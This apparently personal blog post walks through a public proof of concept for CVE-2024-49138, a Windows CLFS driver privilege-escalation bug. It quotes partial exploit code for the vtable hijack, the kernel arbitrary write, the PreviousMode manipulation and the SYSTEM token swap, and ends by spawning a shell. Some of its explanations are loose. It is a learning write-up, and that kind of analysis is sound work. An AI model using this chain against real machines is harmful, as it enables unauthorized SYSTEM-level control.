Through my travels, I've triaged & monitored thousands of CVEs, prioritising the exploits with well developed & publicly accessible code.
But some of the real danger lies in the disclosure of vulnerabilities without the knowledge of exploit code, & I've always wanted to reverse engineer a vulnerability..

So why not start now?

I found CVE-2024-49138 interesting purely because of the vectors being abused on such a widespread & accessible service.

CVE-2024-49138 is an Elevation of Privilege vulnerabiliy that affects the Common Log File System (CLFS) Driver in Windows.
The CLFS driver is used to create and manage transactional logs for Windows applications running in kernel or user mode,
used for data integrity.

There's a PoC & demonstration of the exploit available publicly, & I wanted to examine & understand the exploit.

This exploit abuses a Heap-based Buffer Overflow weakness in the CLFS.
From my understanding, it's manipulating memory structures, overflowing the heap to re-reference a pointer, elevate a thread to achieve read/write capabilities, then swaps a PID token for the SYSTEM level token.


So, without further adieu...





1. Heap-Based Buffer Overflow in CLFS

This exploit begins by creating and manipulating CLFS log containers, staging for the memory manipulation:

logHndl = CreateLogFile(logFileName.c_str(), GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0);


By using the AddLogContainer() to allocate memory for the log file, you can craft the trigger for the exploit, the AddLogContainer is the crafted call:

if (!AddLogContainer(logHndl, &cbContainer, (LPWSTR)L"C:\\temp\\testlog\\container1", NULL)) { printf("AddLogContainer failed with error %d\n", GetLastError()); }

By crafting the logHndl & cbContainer, we can purposefully mismange the memory allocation.



2. Constructing the Arbitrary Write

Once the container is setup & staged, we redirect execution via a hijacked virtual table (vtable).
A vtable is essentially an array of function pointers used by a class or object to resolve calls to its virtual methods at runtime.


In Windows context, if an object has virtual functions, the compiler creates a vtable for that class, this vtable then controls the execution flow.

The next code block begins with allocating a controlled memory region:

auto pcclfscontainer = VirtualAlloc((LPVOID)0x2100000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); memset(pcclfscontainer, 0, 0x1000);

The vtable is constructed at an offset (Constructing at an offset allows the modification of data in memory) within the allocated region:

auto vtable = (DWORD64)pcclfscontainer + 0x100; ((PDWORD64)vtable)[1] = (DWORD64)g_ntbase + POFXPROCESSORNOTIFICATION_OFFSET;

Then, by pointing the vtable to a kernel function (POFXPROCESSORNOTIFICATION_OFFSET), we can stage the execution flow against a kernel function.
By controlling this execution flow, we can also force the kernel to dereference a function pointer, which can be redirected to crafted payloads.



3. Using DBGKPTRIAGEDUMPRESTORESTATE for Arbitrary Writes

The following code then utilises the DBGKPTRIAGEDUMPRESTORESTATE function to control writes in kernel memory.

*(PDWORD64)((PCHAR)rcx + 0x48) = (DWORD64)pcclfscontainer + 0x300; *((PDWORD64)(arg_DBGKPTRIAGEDUMPRESTORESTATE)) = (DWORD64)address_to_write - 0x2078; *((PDWORD64)((PCHAR)arg_DBGKPTRIAGEDUMPRESTORESTATE + 0x10)) = 0x0014000000000f00;



4. Hijacking _KTHREAD.PreviousMode

As explained above, modifying _KTHREAD.PreviousMode allows the kernel to treat subsequent executions as though they are kernel mode.

However, thanks to a couple blunders recently, we know that modifying kernel states to a non-native nor unintended operation is a bad idea.

address_to_write = (LPVOID)((DWORD64)(GetKAddrFromHandle(threadHandle)) + 0x232); PreviousMode = 0x1; NtWriteVirtualMemory((HANDLE)-1, PreviousModeAddr, &PreviousMode, sizeof(PreviousMode), NULL);

This returns the field _KTHREAD.PreviousMode to the expected value 1, user mode, helping us avoid blue screens.



5. Token Swapping for Privilege Escalation

Since we're in kernel mode, we can now freely read & write to kernel memory without security checks.
The attack chain continues now accessing critical kernel structures like _EPROCESS, for manipulation, and ultimately, the token swap.

NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase + PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL); while (1) { NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL); NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL); if (pid == (DWORD64)GetCurrentProcessId()) break; } NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, sizeof(systemtoken), NULL);

By using NtReadVirtualMemory, we can block starts at the Head, PsActiveProcessHead,
travserses through the _EPROCESS structure, until the UniqueProcessId (PID) of the current _EPROCESS matches the current process's PID.

When the correct PID is found, we now know the memory location of the current process's _EPROCESS,
giving us a target for swapping the process token, with the SYSTEM token.

The TOKEN_OFFSET as we described earlier, an offset allows manipulation of data in memory,
so we point the location of the process token to the SYSTEM level token identified by the PID match.

6. Final Verification and System Shell

Finally, a quick check that we can read kernel memory:

NtReadVirtualMemory((HANDLE)-1, g_ntbase, &buf, sizeof(buf), NULL); printf("buf = 0x%p\n", (DWORD64)buf);



system("cmd.exe");

And with that, SYSTEM.



There are people FAR smarter than I who can map memory allocations & offset values in their sleep.
Then there's me who scoops up other peoples work & tries to not butcher it whilst I fumble through learning...

But reading & learning this was quite fun, also very insightful into memory allcoations & manipulation, I'll do more in future.